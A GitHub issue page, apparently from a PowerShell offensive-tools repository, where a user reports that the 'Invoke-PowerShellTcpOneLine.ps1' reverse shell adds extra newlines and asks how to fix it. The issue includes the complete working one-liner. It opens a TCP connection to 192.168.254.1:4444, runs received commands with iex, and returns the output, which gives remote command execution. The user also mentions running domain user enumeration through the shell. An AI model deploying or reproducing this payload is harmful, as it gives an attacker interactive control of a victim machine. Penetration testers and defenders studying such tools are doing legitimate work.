Skip to content

Invoke-PowerShellTcpOneLine.ps1 prints newline between successive lines. #63

@nlykkei

Description

@nlykkei

The "Invoke-PowerShellTcpOneLine.ps1" reverse shell prints new lines between successive lines for, e.g. the ls command. I'm using netcat as the listener to which the shell connects.

I've looked at the code, and I can't seem to locate the issue:

#$client = New-Object System.Net.Sockets.TCPClient('192.168.254.1',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

kali linux-2018-06-10-11-56-26

How could it be fixed?

Furthermore, using commands like net users /domain only returns the "The request will be processed at a domain controller for domain..." intermediary response, and not the full response from the domain controller?

Metadata

Metadata

Assignees

Labels

No labels
No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions